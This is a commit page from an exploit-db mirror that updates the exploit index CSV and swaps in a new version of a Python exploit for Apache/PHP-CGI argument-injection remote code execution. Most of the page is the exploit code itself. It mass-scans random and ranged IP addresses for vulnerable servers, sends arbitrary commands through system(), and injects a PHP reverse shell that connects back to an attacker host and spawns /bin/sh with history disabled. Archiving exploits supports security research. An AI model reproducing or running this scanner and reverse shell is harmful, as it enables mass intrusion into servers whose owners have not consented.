bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

DB: 2016-08-22

Browse source
This commit is contained in:
Offensive Security 2016-08-22 05:08:19 +00:00
parent 32bd251480
commit a1d85642d6
3 changed files with 163 additions and 508 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

5
files.csv
View file

@ -16296,7 +16296,7 @@ id,file,description,date,author,platform,type,port
18827,platforms/php/webapps/18827.txt,"Baby Gekko CMS 1.1.5c - Multiple Stored XSS Vulnerabilities",2012-05-03,LiquidWorm,php,webapps,0 18827,platforms/php/webapps/18827.txt,"Baby Gekko CMS 1.1.5c - Multiple Stored XSS Vulnerabilities",2012-05-03,LiquidWorm,php,webapps,0
18828,platforms/php/webapps/18828.txt,"PluXml 5.1.5 - Local File Inclusion",2012-05-03,"High-Tech Bridge SA",php,webapps,0 18828,platforms/php/webapps/18828.txt,"PluXml 5.1.5 - Local File Inclusion",2012-05-03,"High-Tech Bridge SA",php,webapps,0
18832,platforms/php/webapps/18832.txt,"Symantec Web Gateway Cross-Site Scripting",2012-05-04,B00y@,php,webapps,0 18832,platforms/php/webapps/18832.txt,"Symantec Web Gateway Cross-Site Scripting",2012-05-04,B00y@,php,webapps,0
18834,platforms/php/remote/18834.rb,"PHP CGI Argument Injection",2012-05-04,Metasploit,php,remote,0 18834,platforms/php/remote/18834.rb,"PHP - CGI Argument Injection",2012-05-04,Metasploit,php,remote,0
18871,platforms/php/webapps/18871.txt,"Travelon Express CMS 6.2.2 - Multiple Vulnerabilities",2012-05-13,Vulnerability-Lab,php,webapps,0 18871,platforms/php/webapps/18871.txt,"Travelon Express CMS 6.2.2 - Multiple Vulnerabilities",2012-05-13,Vulnerability-Lab,php,webapps,0
18861,platforms/windows/local/18861.php,"PHP 5.4.3 - Code Execution (Win32)",2012-05-11,0in,windows,local,0 18861,platforms/windows/local/18861.php,"PHP 5.4.3 - Code Execution (Win32)",2012-05-11,0in,windows,local,0
18862,platforms/windows/local/18862.php,"Adobe Photoshop CS5.1 - U3D.8BI Collada Asset Elements Stack Overflow",2012-05-11,rgod,windows,local,0 18862,platforms/windows/local/18862.php,"Adobe Photoshop CS5.1 - U3D.8BI Collada Asset Elements Stack Overflow",2012-05-11,rgod,windows,local,0
@ -26318,7 +26318,7 @@ id,file,description,date,author,platform,type,port
29312,platforms/hardware/webapps/29312.txt,"Unicorn Router WB-3300NR - CSRF (Factory Reset/DNS Change)",2013-10-30,absane,hardware,webapps,0 29312,platforms/hardware/webapps/29312.txt,"Unicorn Router WB-3300NR - CSRF (Factory Reset/DNS Change)",2013-10-30,absane,hardware,webapps,0
29313,platforms/php/webapps/29313.txt,"Xt-News 0.1 show_news.php id_news Parameter XSS",2006-12-22,Mr_KaLiMaN,php,webapps,0 29313,platforms/php/webapps/29313.txt,"Xt-News 0.1 show_news.php id_news Parameter XSS",2006-12-22,Mr_KaLiMaN,php,webapps,0
29314,platforms/php/webapps/29314.txt,"Xt-News 0.1 show_news.php id_news Parameter SQL Injection",2006-12-22,Mr_KaLiMaN,php,webapps,0 29314,platforms/php/webapps/29314.txt,"Xt-News 0.1 show_news.php id_news Parameter SQL Injection",2006-12-22,Mr_KaLiMaN,php,webapps,0
29316,platforms/php/remote/29316.py,"Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution (Multithreaded Scanner) (1)",2013-10-31,noptrix,php,remote,0 29316,platforms/php/remote/29316.py,"Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution (Multithreaded Scanner)",2013-10-31,noptrix,php,remote,0
29994,platforms/php/webapps/29994.txt,"Campsite 2.6.1 - Template.php g_documentRoot Parameter Remote File Inclusion",2007-05-08,anonymous,php,webapps,0 29994,platforms/php/webapps/29994.txt,"Campsite 2.6.1 - Template.php g_documentRoot Parameter Remote File Inclusion",2007-05-08,anonymous,php,webapps,0
29995,platforms/php/webapps/29995.txt,"Campsite 2.6.1 - TimeUnit.php g_documentRoot Parameter Remote File Inclusion",2007-05-08,anonymous,php,webapps,0 29995,platforms/php/webapps/29995.txt,"Campsite 2.6.1 - TimeUnit.php g_documentRoot Parameter Remote File Inclusion",2007-05-08,anonymous,php,webapps,0
29318,platforms/php/webapps/29318.txt,"ImpressPages CMS 3.6 - Multiple XSS/SQLi Vulnerabilities",2013-10-31,LiquidWorm,php,webapps,0 29318,platforms/php/webapps/29318.txt,"ImpressPages CMS 3.6 - Multiple XSS/SQLi Vulnerabilities",2013-10-31,LiquidWorm,php,webapps,0
@ -36382,7 +36382,6 @@ id,file,description,date,author,platform,type,port
40230,platforms/linux/dos/40230.txt,"SAP SAPCAR - Multiple Vulnerabilities",2016-08-10,"Core Security",linux,dos,0 40230,platforms/linux/dos/40230.txt,"SAP SAPCAR - Multiple Vulnerabilities",2016-08-10,"Core Security",linux,dos,0
40231,platforms/java/webapps/40231.txt,"ColoradoFTP 1.3 Prime Edition (Build 8) - Directory Traversal",2016-08-11,Rv3Laboratory,java,webapps,80 40231,platforms/java/webapps/40231.txt,"ColoradoFTP 1.3 Prime Edition (Build 8) - Directory Traversal",2016-08-11,Rv3Laboratory,java,webapps,80
40232,platforms/linux/remote/40232.py,"FreePBX 13 / 14 - Remote Command Execution With Privilege Escalation",2016-08-12,pgt,linux,remote,0 40232,platforms/linux/remote/40232.py,"FreePBX 13 / 14 - Remote Command Execution With Privilege Escalation",2016-08-12,pgt,linux,remote,0
40233,platforms/php/remote/40233.py,"Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution (Multithreaded Scanner) (2)",2013-11-01,noptrix,php,remote,0
40234,platforms/windows/remote/40234.py,"Easy FTP Server 1.7.0.11 - 'APPE' Command Buffer Overflow Remote Exploit",2012-03-03,Swappage,windows,remote,0 40234,platforms/windows/remote/40234.py,"Easy FTP Server 1.7.0.11 - 'APPE' Command Buffer Overflow Remote Exploit",2012-03-03,Swappage,windows,remote,0
40235,platforms/hardware/remote/40235.py,"Samsung Smart Home Camera SNH-P-6410 - Command Injection",2016-08-14,PentestPartners,hardware,remote,0 40235,platforms/hardware/remote/40235.py,"Samsung Smart Home Camera SNH-P-6410 - Command Injection",2016-08-14,PentestPartners,hardware,remote,0
40236,platforms/ruby/webapps/40236.txt,"GitLab - 'impersonate' Feature Privilege Escalation",2016-08-15,Kaimi,ruby,webapps,80 40236,platforms/ruby/webapps/40236.txt,"GitLab - 'impersonate' Feature Privilege Escalation",2016-08-15,Kaimi,ruby,webapps,80

Can't render this file because it is too large.

268
platforms/php/remote/29316.py
View file

@ -1,26 +1,19 @@
#!/usr/bin/env python #!/usr/bin/env python
# #
# ap-unlock-v2.py - apache + php 5.* rem0te c0de execution 0day (better version) # ap-unlock-v1337.py - apache + php 5.* rem0te c0de execution exploit
# #
# NOTE: # NOTE:
# - quick'n'dirty VERY UGLYY C=000DEEE IZ N0T MY STYLE :((( # - quick'n'dirty VERY UGLYY C=000DEEE IZ N0T MY STYLE :(((
# - for connect back shell start netcat/nc and bind port on given host:port # - for connect back shell start netcat/nc and bind port on given host:port
# - is ip-range scanner not is multithreaded, but iz multithreaded iz in # - is ip-range scanner not is multithreaded, but iz multithreaded iz in
# random scanner and is scanner from file (greets to MustLive) # random scanner and is scanner from file (greets to MustLive)
# - no ssl support
# - more php paths can be added # - more php paths can be added
# - adjust this shit for windows b0xes # - adjust this shit for windows b0xes
# #
# 2013 # 2013
# by noptrix - http://nullsecurity.net/ # by noptrix - http://nullsecurity.net/
import sys import sys, socket, argparse, threading, time, random, select, ssl
import socket
import argparse
import threading
import time
import random
import select
NONE = 0 NONE = 0
@ -41,7 +34,8 @@ def m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt):
''' '''
<? set_time_limit (0); $VERSION = "1.0"; $ip = "''' + cb_h0st + '''"; <? set_time_limit (0); $VERSION = "1.0"; $ip = "''' + cb_h0st + '''";
$port = ''' + cb_p0rt + '''; $chunk_size = 1400; $write_a = null; $port = ''' + cb_p0rt + '''; $chunk_size = 1400; $write_a = null;
$error_a = null; $shell = "unset HISTFILE; id; /bin/sh -i"; $daemon = 0; $error_a = null; $shell = "unset HISTFILE; uname -a; id; /bin/sh -i";
$daemon = 0;
$debug = 0; if (function_exists("pcntl_fork")) {$pid = pcntl_fork(); $debug = 0; if (function_exists("pcntl_fork")) {$pid = pcntl_fork();
if ($pid == -1) {exit(1);}if ($pid) {exit(0);}if (posix_setsid() == -1) { if ($pid == -1) {exit(1);}if ($pid) {exit(0);}if (posix_setsid() == -1) {
exit(1);}$daemon = 1;} else {print "bla";}chdir("/");umask(0); exit(1);}$daemon = 1;} else {print "bla";}chdir("/");umask(0);
@ -91,7 +85,7 @@ def enc0dez():
for x in n33dz1: for x in n33dz1:
p4th = p4th + '/' + \ p4th = p4th + '/' + \
''.join('%' + c.encode('utf-8').encode('hex') for c in x) ''.join('%' + c.encode('utf-8').encode('hex') for c in x)
return (p4th.upper(), arg5.upper()) return (p4th, arg5)
def m4k3_p4yl0rd(p4yl0rd, m0de): def m4k3_p4yl0rd(p4yl0rd, m0de):
@ -106,36 +100,95 @@ def m4k3_p4yl0rd(p4yl0rd, m0de):
return p4yl0rd return p4yl0rd
def s3nd_sh1t_ss1(args, m0de, c0nn_b4ck):
pat = ('<b>Parse error</b>:', '<b>Warning</b>:')
s = d0_c0nn3ct(args)
try:
ss = socket.ssl(s)
except:
print "-> n0 w3bs3rv3r 0n %s" % (args.h)
return
if m0de == VULN:
p4yl0rd = m4k3_p4yl0rd('', m0de)
ss.write(p4yl0rd)
try:
d4t4 = ss.read(8192)
except:
return
for p in pat:
if p in d4t4:
print "-> " + args.h + " vu1n"
return args.h
else:
if args.v:
print "-> %s n0t vu1n" % (args.h)
return
elif m0de == SCMD:
p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de)
ss.write(p4yl0rd)
rd, wd, ex = select.select([s], [], [], float(args.T))
if rd:
for l1n3 in ss.read():
sys.stdout.write(l1n3)
elif m0de == XPLT:
p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de)
ss.write(p4yl0rd)
else:
if args.v:
print "-> n0 w3bs3rv3r 0n %s" % (args.h)
return
def s3nd_sh1t(args, m0de, c0nn_b4ck): def s3nd_sh1t(args, m0de, c0nn_b4ck):
pat = '<b>Parse error</b>:' pat = ('<b>Parse error</b>:', '<b>Warning</b>:')
s = d0_c0nn3ct(args)
if s:
if m0de == VULN:
p4yl0rd = m4k3_p4yl0rd('', m0de)
s.sendall(p4yl0rd)
try:
d4t4 = s.recv(8192)
except:
return
for p in pat:
try:
if p in d4t4:
print "-> " + args.h + " vu1n"
if args.f:
wr1te_fil3(args)
return args.h
else:
if args.v:
print "-> %s n0t vu1n" % (args.h)
return
except:
return
elif m0de == SCMD:
p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de)
s.sendall(p4yl0rd)
rd, wd, ex = select.select([s], [], [], float(args.T))
if rd:
try:
for l1n3 in s.makefile():
print l1n3,
except:
return
elif m0de == XPLT:
p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de)
s.sendall(p4yl0rd)
else:
if args.v:
print "-> c0uld n0t c0nn3ct t0 %s" % (args.h)
return
def d0_c0nn3ct(args):
try: try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(float(args.t)) s.settimeout(float(args.t))
res = s.connect_ex((args.h, int(args.p))) res = s.connect_ex((args.h, int(args.p)))
if res == 0: if res == 0:
if m0de == VULN: return s
p4yl0rd = m4k3_p4yl0rd('', m0de)
s.sendall(p4yl0rd)
if pat in s.recv(4096):
print "--> " + args.h + " vu1n"
return args.h
else:
if args.v:
print "--> %s n0t vu1n" % (args.h)
return
elif m0de == SCMD:
p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de)
s.sendall(p4yl0rd)
rd, wd, ex = select.select([s], [], [], float(args.t))
if rd:
for line in s.makefile():
print line,
elif m0de == XPLT:
p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de)
s.sendall(p4yl0rd)
else:
if args.v:
print "--> n0 w3bs3rv3r 0n %s" % (args.h)
except socket.error: except socket.error:
return return
return return
@ -150,31 +203,27 @@ def m4k3_r4nd_1p4ddr(num):
return h0sts return h0sts
def sc4n_r4nd0m(args, h0st, m0de, vu1nz): def d0_sc4n(args, h0st, m0de, vu1nz, rsa, rsb):
args.h = h0st
vu1nz.append(s3nd_sh1t(args, m0de, None))
vu1nz = filter(None, vu1nz)
return
def sc4n_fr0m_f1le(args, h0st, m0de, vu1nz):
args.h = h0st.rstrip() args.h = h0st.rstrip()
vu1nz.append(s3nd_sh1t(args, m0de, None)) if args.S:
vu1nz = filter(None, vu1nz) s3nd_sh1t_ss1(args, m0de, None)
else:
s3nd_sh1t(args, m0de, None)
return return
def sc4n_r4ng3(rsa, rsb, args, m0de): def sc4n_r4ng3(args, m0de, rsa, rsb):
vu1nz = [] vu1nz = []
for i in range (rsa[0], rsb[0]): for i in range (rsa[0], rsb[0]):
for j in range (rsa[1], rsb[1]): for j in range (rsa[1], rsb[1]):
for k in range (rsa[2], rsb[2]): for k in range (rsa[2], rsb[2]):
for l in range(rsa[3], rsb[3]): for l in range(rsa[3], rsb[3]):
args.h = str(i) + "." + str(j) + "." + str(k) + "." + str(l) args.h = str(i) + "." + str(j) + "." + str(k) + "." + str(l)
vu1nz.append(s3nd_sh1t(args, m0de, None)) if args.S:
time.sleep(0.005) s3nd_sh1t_ss1(args, m0de, None)
vu1nz = filter(None, vu1nz) else:
return vu1nz s3nd_sh1t(args, m0de, None)
return
def m4k3_ipv4_r4ng3(iprange): def m4k3_ipv4_r4ng3(iprange):
@ -194,14 +243,17 @@ def m4k3_ipv4_r4ng3(iprange):
def parse_args(): def parse_args():
p = argparse.ArgumentParser( p = argparse.ArgumentParser(
usage='\n\n ./ap-unlock-v2.py -h <4rg> -s | -c <4rg> | -x <4rg> [0pt1ons]'\ usage='\n\n ./ap-unlock-v1337.py -h <4rg> -s | -c <4rg> | -x <4rg> ' \
'\n ./ap-unlock-v2.py -r <4rg> | -R <4rg> | -i <4rg> [0pt1ons]', '[0pt1ons]\n ./ap-unlock-v1337.py -r <4rg> | -R <4rg> | -i <4rg>'\
' [0pt1ons]',
formatter_class=argparse.RawDescriptionHelpFormatter, add_help=False) formatter_class=argparse.RawDescriptionHelpFormatter, add_help=False)
opts = p.add_argument_group('0pt1ons', '') opts = p.add_argument_group('0pt1ons', '')
opts.add_argument('-h', metavar='wh1t3h4tz.0rg', opts.add_argument('-h', metavar='wh1t3h4tz.0rg',
help='| t3st s1ngle h0st f0r vu1n') help='| t3st s1ngle h0st f0r vu1n')
opts.add_argument('-p', default=80, metavar='80', opts.add_argument('-p', default=80, metavar='80',
help='| t4rg3t p0rt (d3fau1t: 80)') help='| t4rg3t p0rt (d3fau1t: 80)')
opts.add_argument('-S', action='store_true',
help='| c0nn3ct thr0ugh ss1')
opts.add_argument('-c', metavar='\'uname -a;id\'', opts.add_argument('-c', metavar='\'uname -a;id\'',
help='| s3nd c0mm4nds t0 h0st') help='| s3nd c0mm4nds t0 h0st')
opts.add_argument('-x', metavar='192.168.0.2:1337', opts.add_argument('-x', metavar='192.168.0.2:1337',
@ -212,16 +264,14 @@ def parse_args():
help='| sc4nz iP addr3ss r4ng3 f0r vu1n') help='| sc4nz iP addr3ss r4ng3 f0r vu1n')
opts.add_argument('-R', metavar='1337', opts.add_argument('-R', metavar='1337',
help='| sc4nz num r4nd0m h0st5 f0r vu1n') help='| sc4nz num r4nd0m h0st5 f0r vu1n')
opts.add_argument('-t', default=3, metavar='3', opts.add_argument('-t', default=2, metavar='2',
help='| t1me0ut in s3x (d3fau1t: 3)') help='| c0nn3ct t1me0ut in s3x (d3fau1t: 3)')
opts.add_argument('-T', default=2, metavar='2',
help='| r3ad t1me0ut in s3x (d3fau1t: 3)')
opts.add_argument('-f', metavar='vu1n.lst', opts.add_argument('-f', metavar='vu1n.lst',
help='| wr1t3 vu1n h0sts t0 f1l3') help='| wr1t3 vu1n h0sts t0 f1l3')
opts.add_argument('-i', metavar='sc4nz.lst', opts.add_argument('-i', metavar='sc4nz.lst',
help='| sc4nz h0sts fr0m f1le f0r vu1n') help='| sc4nz h0sts fr0m f1le f0r vu1n')
opts.add_argument('-S', metavar='2',
help='| sl33pz in s3x b3tw33n thr3adz (d3fault: 2)')
opts.add_argument('-T', default=2, metavar='4',
help='| nuM sc4n thr3adz (d3fault: 4)')
opts.add_argument('-v', action='store_true', opts.add_argument('-v', action='store_true',
help='| pr1nt m0ah 1nf0z wh1l3 sh1tt1ng') help='| pr1nt m0ah 1nf0z wh1l3 sh1tt1ng')
args = p.parse_args() args = p.parse_args()
@ -231,17 +281,43 @@ def parse_args():
return args return args
def wr1te_fil3(args, vu1nz): def wr1te_fil3(args):
if args.f: try:
if vu1nz: f = open(args.f, "a+")
try: f.write(args.h + "\n")
f = open(args.f, "w") f.close()
f.write("\n".join(vu1nz)+"\n") except:
f.close() sys.stderr.write('[-] 3rr0r: de1n3 mudd1 k0cht guT')
except: sys.stderr.write('\n')
sys.stderr.write('de1n3 mudd1 k0cht guT') raise SystemExit()
sys.stderr.write('\n') return
raise SystemExit()
def run_threads(args, h0sts, m0de, vu1nz, rsa, rsb):
num_h0sts = len(h0sts)
num = 0
try:
if args.r:
sc4n_r4ng3(args, m0de, rsa, rsb)
else:
for h0st in h0sts:
num += 1
if args.v:
sys.stdout.flush()
sys.stdout.write("[" + str(num) + "/" + str(num_h0sts) +
"] ")
else:
sys.stdout.flush()
sys.stdout.write("\r[+] h0sts sc4nn3d: " + str(num) +
"/" + str(num_h0sts) + " \b")
t = threading.Thread(target=d0_sc4n, args=(args, h0st, m0de,
vu1nz, None, None))
t.start()
t.join()
except KeyboardInterrupt:
sys.stdout.flush()
sys.stdout.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")
raise SystemExit
return return
@ -250,17 +326,21 @@ def c0ntr0ller():
m0de = NONE m0de = NONE
try: try:
args = parse_args() args = parse_args()
if not args.t:
args.t = float(3)
if args.h: if args.h:
if args.s: if args.s:
print "[+] sc4nn1ng s1ngl3 h0st %s " % (args.h) print "[+] sc4nn1ng s1ngl3 h0st %s " % (args.h)
m0de = VULN m0de = VULN
s3nd_sh1t(args, m0de, None) if args.S:
s3nd_sh1t_ss1(args, m0de, None)
else:
s3nd_sh1t(args, m0de, None)
elif args.c: elif args.c:
print "[+] s3nd1ng c0mm4ndz t0 h0st %s " % (args.h) print "[+] s3nd1ng c0mm4ndz t0 h0st %s " % (args.h)
m0de = SCMD m0de = SCMD
s3nd_sh1t(args, m0de, None) if args.S:
s3nd_sh1t_ss1(args, m0de, None)
else:
s3nd_sh1t(args, m0de, None)
elif args.x: elif args.x:
print "[+] xpl0it1ng b0x %s " % (args.h) print "[+] xpl0it1ng b0x %s " % (args.h)
m0de = XPLT m0de = XPLT
@ -273,7 +353,10 @@ def c0ntr0ller():
else: else:
print "[-] 3rr0r: <h0st>:<p0rt> y0u l4m3r" print "[-] 3rr0r: <h0st>:<p0rt> y0u l4m3r"
c0nn_b4ck = m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt) c0nn_b4ck = m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt)
s3nd_sh1t(args, m0de, c0nn_b4ck) if args.S:
s3nd_sh1t_ss1(args, m0de, c0nn_b4ck)
else:
s3nd_sh1t(args, m0de, c0nn_b4ck)
else: else:
print "[-] 3rr0r: m1ss1ng -s, -c 0r -x b1tch" print "[-] 3rr0r: m1ss1ng -s, -c 0r -x b1tch"
sys.exit(-1) sys.exit(-1)
@ -281,56 +364,27 @@ def c0ntr0ller():
print "[+] sc4nn1ng r4ng3 %s " % (args.r) print "[+] sc4nn1ng r4ng3 %s " % (args.r)
m0de = VULN m0de = VULN
rsa, rsb = m4k3_ipv4_r4ng3(args.r) rsa, rsb = m4k3_ipv4_r4ng3(args.r)
vu1nz = sc4n_r4ng3(rsa, rsb, args, m0de) run_threads(args, None, m0de, None, rsa, rsb)
if args.R: if args.R:
print "[+] sc4nn1ng %d r4nd0m b0xes" % (int(args.R)) print "[+] sc4nn1ng %d r4nd0m b0xes" % (int(args.R))
m0de = VULN m0de = VULN
if not args.S:
args.S = float(2)
h0sts = m4k3_r4nd_1p4ddr(int(args.R)) h0sts = m4k3_r4nd_1p4ddr(int(args.R))
for h0st in h0sts: run_threads(args, h0sts, m0de, vu1nz, None, None)
try:
t = threading.Thread(target=sc4n_r4nd0m, args=(args, h0st,
m0de, vu1nz))
t.start()
time.sleep(float(args.S))
while threading.activeCount() > int(args.T):
time.sleep(2)
except:
sys.stdout.flush()
sys.stdout.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")
raise SystemExit
if args.i: if args.i:
print "[+] sc4nn1ng b0xes fr0m f1le %s" % (args.i) print "[+] sc4nn1ng b0xes fr0m f1le %s" % (args.i)
m0de = VULN m0de = VULN
h0sts = tuple(open(args.i, 'r')) h0sts = tuple(open(args.i, 'r'))
if not args.S: run_threads(args, h0sts, m0de, vu1nz, None, None)
args.S = float(2)
for h0st in h0sts:
try:
t = threading.Thread(target=sc4n_fr0m_f1le, args=(args,
h0st, m0de, vu1nz))
t.start()
time.sleep(float(args.S))
while threading.activeCount() > int(args.T):
time.sleep(2)
except KeyboardInterrupt:
sys.stdout.flush()
sys.stdout.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")
raise SystemExit
#sc4n_fr0m_f1le(args, h0sts, m0de, vu1nz)
except KeyboardInterrupt: except KeyboardInterrupt:
sys.stdout.flush() sys.stdout.flush()
sys.stderr.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n") sys.stderr.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")
raise SystemExit raise SystemExit
wr1te_fil3(args, vu1nz)
return return
def m41n(): def m41n():
if __name__ == "__main__": if __name__ == "__main__":
print "--==[ ap-unlock-v2.py by noptrix@nullsecurity.net ]==--" print "--==[ ap-unlock-v1337.py by noptrix@nullsecurity.net ]==--"
c0ntr0ller() c0ntr0ller()
else: else:
print "[-] 3rr0r: y0u fuck3d up dud3" print "[-] 3rr0r: y0u fuck3d up dud3"

398
platforms/php/remote/40233.py
View file

@ -1,398 +0,0 @@
#!/usr/bin/env python
#
# ap-unlock-v1337.py - apache + php 5.* rem0te c0de execution exploit
#
# NOTE:
# - quick'n'dirty VERY UGLYY C=000DEEE IZ N0T MY STYLE :(((
# - for connect back shell start netcat/nc and bind port on given host:port
# - is ip-range scanner not is multithreaded, but iz multithreaded iz in
# random scanner and is scanner from file (greets to MustLive)
# - more php paths can be added
# - adjust this shit for windows b0xes
#
# 2013
# by noptrix - http://nullsecurity.net/
import sys, socket, argparse, threading, time, random, select, ssl
NONE = 0
VULN = 1
SCMD = 2
XPLT = 3
t3st = 'POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D' \
'%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73' \
'%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+' \
'%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+'\
'%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1\r\nHost:localhost\r\n'\
'Content-Type: text/html\r\nContent-Length:1\r\n\r\na\r\n'
def m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt):
c0nn_b4ck = \
'''
<? set_time_limit (0); $VERSION = "1.0"; $ip = "''' + cb_h0st + '''";
$port = ''' + cb_p0rt + '''; $chunk_size = 1400; $write_a = null;
$error_a = null; $shell = "unset HISTFILE; uname -a; id; /bin/sh -i";
$daemon = 0;
$debug = 0; if (function_exists("pcntl_fork")) {$pid = pcntl_fork();
if ($pid == -1) {exit(1);}if ($pid) {exit(0);}if (posix_setsid() == -1) {
exit(1);}$daemon = 1;} else {print "bla";}chdir("/");umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {
printit("$errstr ($errno)");exit(1);}$descriptorspec = array(
0 => array("pipe", "r"), 1 => array("pipe", "w"),2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {exit(1);}stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");while (1) {
if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}
if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}
if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock);
fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);
function printit ($string) {if (!$daemon) {print "$string\n";}}?>
'''
return c0nn_b4ck
def enc0dez():
n33dz1 = ('cgi-bin', 'php')
n33dz2 = ('-d', 'allow_url_include=on', '-d', 'safe_mode=off', '-d',
'suhosin.simulation=on', '-d', 'disable_functions=""', '-d',
'open_basedir=none', '-d', 'auto_prepend_file=php://input',
'-d', 'cgi.force_redirect=0', '-d', 'cgi.redirect_status_env=0',
'-d', 'auto_prepend_file=php://input', '-n')
fl4g = 0
arg5 = ''
p4th = ''
plus = ''
for x in n33dz2:
if fl4g == 1:
plus = '+'
arg5 = arg5 + plus + \
''.join('%' + c.encode('utf-8').encode('hex') for c in x)
fl4g = 1
for x in n33dz1:
p4th = p4th + '/' + \
''.join('%' + c.encode('utf-8').encode('hex') for c in x)
return (p4th, arg5)
def m4k3_p4yl0rd(p4yl0rd, m0de):
p4th, arg5 = enc0dez()
if m0de == VULN:
p4yl0rd = t3st
elif m0de == SCMD or m0de == XPLT:
p4yl0rd = 'POST /' + p4th + '?' + arg5 + ' HTTP/1.1\r\n' \
'Host: ' + sys.argv[1] + '\r\n' \
'Content-Type: application/x-www-form-urlencoded\r\n' \
'Content-Length: ' + str(len(p4yl0rd)) + '\r\n\r\n' + p4yl0rd
return p4yl0rd
def s3nd_sh1t_ss1(args, m0de, c0nn_b4ck):
pat = ('<b>Parse error</b>:', '<b>Warning</b>:')
s = d0_c0nn3ct(args)
try:
ss = socket.ssl(s)
except:
print "-> n0 w3bs3rv3r 0n %s" % (args.h)
return
if m0de == VULN:
p4yl0rd = m4k3_p4yl0rd('', m0de)
ss.write(p4yl0rd)
try:
d4t4 = ss.read(8192)
except:
return
for p in pat:
if p in d4t4:
print "-> " + args.h + " vu1n"
return args.h
else:
if args.v:
print "-> %s n0t vu1n" % (args.h)
return
elif m0de == SCMD:
p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de)
ss.write(p4yl0rd)
rd, wd, ex = select.select([s], [], [], float(args.T))
if rd:
for l1n3 in ss.read():
sys.stdout.write(l1n3)
elif m0de == XPLT:
p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de)
ss.write(p4yl0rd)
else:
if args.v:
print "-> n0 w3bs3rv3r 0n %s" % (args.h)
return
def s3nd_sh1t(args, m0de, c0nn_b4ck):
pat = ('<b>Parse error</b>:', '<b>Warning</b>:')
s = d0_c0nn3ct(args)
if s:
if m0de == VULN:
p4yl0rd = m4k3_p4yl0rd('', m0de)
s.sendall(p4yl0rd)
try:
d4t4 = s.recv(8192)
except:
return
for p in pat:
try:
if p in d4t4:
print "-> " + args.h + " vu1n"
if args.f:
wr1te_fil3(args)
return args.h
else:
if args.v:
print "-> %s n0t vu1n" % (args.h)
return
except:
return
elif m0de == SCMD:
p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de)
s.sendall(p4yl0rd)
rd, wd, ex = select.select([s], [], [], float(args.T))
if rd:
try:
for l1n3 in s.makefile():
print l1n3,
except:
return
elif m0de == XPLT:
p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de)
s.sendall(p4yl0rd)
else:
if args.v:
print "-> c0uld n0t c0nn3ct t0 %s" % (args.h)
return
def d0_c0nn3ct(args):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(float(args.t))
res = s.connect_ex((args.h, int(args.p)))
if res == 0:
return s
except socket.error:
return
return
def m4k3_r4nd_1p4ddr(num):
h0sts = []
for x in range(int(num)):
h0sts.append('%d.%d.%d.%d' % (random.randrange(0,255),
random.randrange(0,255), random.randrange(0,255),
random.randrange(0,255)))
return h0sts
def d0_sc4n(args, h0st, m0de, vu1nz, rsa, rsb):
args.h = h0st.rstrip()
if args.S:
s3nd_sh1t_ss1(args, m0de, None)
else:
s3nd_sh1t(args, m0de, None)
return
def sc4n_r4ng3(args, m0de, rsa, rsb):
vu1nz = []
for i in range (rsa[0], rsb[0]):
for j in range (rsa[1], rsb[1]):
for k in range (rsa[2], rsb[2]):
for l in range(rsa[3], rsb[3]):
args.h = str(i) + "." + str(j) + "." + str(k) + "." + str(l)
if args.S:
s3nd_sh1t_ss1(args, m0de, None)
else:
